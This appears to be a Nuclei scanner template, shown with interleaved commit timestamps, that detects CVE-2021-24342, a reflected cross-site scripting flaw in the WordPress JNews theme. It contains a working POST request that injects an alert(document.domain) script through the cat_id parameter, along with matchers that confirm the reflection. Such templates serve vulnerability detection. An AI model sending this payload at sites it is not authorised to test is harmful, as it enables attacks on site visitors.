2021-09-15 05:02:38 +00:00
id : CVE-2021-24342
info :
2022-08-29 13:55:23 +00:00
name : WordPress JNews Theme <8.0.6 - Cross-Site Scripting
2021-09-15 05:02:38 +00:00
author : pikpikcu
severity : medium
2022-08-29 13:55:23 +00:00
description : WordPress JNews theme before 8.0.6 contains a reflected cross-site scripting vulnerability. It does not sanitize the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*).
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
2023-09-06 12:09:01 +00:00
remediation : |
Update to the latest version of the WordPress JNews Theme (>=8.0.6) to mitigate the XSS vulnerability.
2021-09-15 05:02:38 +00:00
reference :
- https://wpscan.com/vulnerability/415ca763-fe65-48cb-acd3-b375a400217e
- https://nvd.nist.gov/vuln/detail/CVE-2021-24342
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
2021-09-15 10:50:34 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-15 10:50:34 +00:00
cve-id : CVE-2021-24342
cwe-id : CWE-79
2024-03-23 09:28:19 +00:00
epss-score : 0.00113
2024-04-08 11:34:33 +00:00
epss-percentile : 0.43845
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:jnews:jnews:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
2024-06-07 10:04:29 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : jnews
product : jnews
2023-09-06 12:09:01 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,wordpress,xss,wp-plugin,wpscan,jnews
2024-03-26 17:26:22 +00:00
flow : http(1) && http(2)
2023-04-27 04:28:59 +00:00
http :
2024-03-26 17:26:22 +00:00
- raw :
- |
GET /wp-content/themes/jnews/readme.txt HTTP/1.1
Host : {{Hostname}}
matchers :
- type : word
internal : true
words :
- 'Change Log:'
- 'JNews -'
condition : and
2021-09-15 05:02:38 +00:00
- raw :
- |
POST /?ajax-request=jnews HTTP/1.1
Host : {{Hostname}}
Accept : */*
Content-Type : application/x-www-form-urlencoded
2021-09-15 05:04:51 +00:00
2021-09-15 09:05:51 +00:00
lang=en_US&cat_id=6"></script><script>alert(document.domain)</script>&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67
2021-09-15 05:02:38 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-09-15 05:02:38 +00:00
words :
2021-09-15 09:05:51 +00:00
- '</script><script>alert(document.domain)</script>'
2021-09-15 05:02:38 +00:00
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-09-15 05:02:38 +00:00
words :
- 'Content-Type : text/html'
- type : status
status :
- 200
2024-06-08 16:02:17 +00:00
# digest: 480a00453043021f2ce74ef4a7ea71764275ea3c3ee212cac05745c6ea47d9a8f8f6a87479ff14022016b66e79aa34eca598bd78013beabc45c11ee49fa6e999c254a4247a180d474a:922c64590222798bb761d5b6d8e72950